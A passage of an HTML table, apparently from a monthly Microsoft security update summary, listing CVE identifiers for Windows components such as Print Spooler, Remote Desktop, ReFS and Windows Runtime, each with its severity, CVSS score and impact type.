  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50499"><span>CVE-2026-50499</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50383"><span>CVE-2026-50383</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57085"><span>CVE-2026-57085</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50469"><span>CVE-2026-50469</span></a></td>
  <td width="256" class="xl74">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50434"><span>CVE-2026-50434</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50339"><span>CVE-2026-50339</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50430"><span>CVE-2026-50430</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50334"><span>CVE-2026-50334</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44800"><span>CVE-2026-44800</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50363"><span>CVE-2026-50363</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50431"><span>CVE-2026-50431</span></a></td>
  <td width="256" class="xl74">Windows Quality of
  Service (QoS) Packet Scheduler Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50372"><span>CVE-2026-50372</span></a></td>
  <td width="256" class="xl74">Windows Redirected
  Drive Buffering System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50666"><span>CVE-2026-50666</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56647"><span>CVE-2026-56647</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Service Infrastructure Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50330"><span>CVE-2026-50330</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50376"><span>CVE-2026-50376</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50504"><span>CVE-2026-50504</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58533"><span>CVE-2026-58533</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58535"><span>CVE-2026-58535</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58546"><span>CVE-2026-58546</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58539"><span>CVE-2026-58539</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55003"><span>CVE-2026-55003</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57979"><span>CVE-2026-57979</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50445"><span>CVE-2026-50445</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50497"><span>CVE-2026-50497</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54126"><span>CVE-2026-54126</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57982"><span>CVE-2026-57982</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50369"><span>CVE-2026-50369</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58626"><span>CVE-2026-58626</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55014"><span>CVE-2026-55014</span></a></td>
  <td width="256" class="xl74">Windows Remote Help
  Defense Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50318"><span>CVE-2026-50318</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50407"><span>CVE-2026-50407</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50357"><span>CVE-2026-50357</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50441"><span>CVE-2026-50441</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50668"><span>CVE-2026-50668</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54109"><span>CVE-2026-54109</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49792"><span>CVE-2026-49792</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49793"><span>CVE-2026-49793</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50362"><span>CVE-2026-50362</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50492"><span>CVE-2026-50492</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50501"><span>CVE-2026-50501</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58530"><span>CVE-2026-58530</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49791"><span>CVE-2026-49791</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50451"><span>CVE-2026-50451</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57096"><span>CVE-2026-57096</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50323"><span>CVE-2026-50323</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50452"><span>CVE-2026-50452</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50348"><span>CVE-2026-50348</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50345"><span>CVE-2026-50345</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50322"><span>CVE-2026-50322</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50340"><span>CVE-2026-50340</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50410"><span>CVE-2026-50410</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50449"><span>CVE-2026-50449</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50460"><span>CVE-2026-50460</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50403"><span>CVE-2026-50403</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50385"><span>CVE-2026-50385</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50413"><span>CVE-2026-50413</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50457"><span>CVE-2026-50457</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50486"><span>CVE-2026-50486</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50503"><span>CVE-2026-50503</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54125"><span>CVE-2026-54125</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58527"><span>CVE-2026-58527</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50373"><span>CVE-2026-50373</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50679"><span>CVE-2026-50679</span></a></td>
  <td width="256" class="xl74">Windows Search Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44806"><span>CVE-2026-44806</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50681"><span>CVE-2026-50681</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56186"><span>CVE-2026-56186</span></a></td>
  <td width="256" class="xl74">Windows Secure Channel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50367"><span>CVE-2026-50367</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58619"><span>CVE-2026-58619</span></a></td>
  <td width="256" class="xl74">Windows Sensor Data
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50311"><span>CVE-2026-50311</span></a></td>
  <td width="256" class="xl74">Windows Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50328"><span>CVE-2026-50328</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58531"><span>CVE-2026-58531</span></a></td>
  <td width="256" class="xl74">Windows SMB Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54997"><span>CVE-2026-54997</span></a></td>
  <td width="256" class="xl74">Windows SMB
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
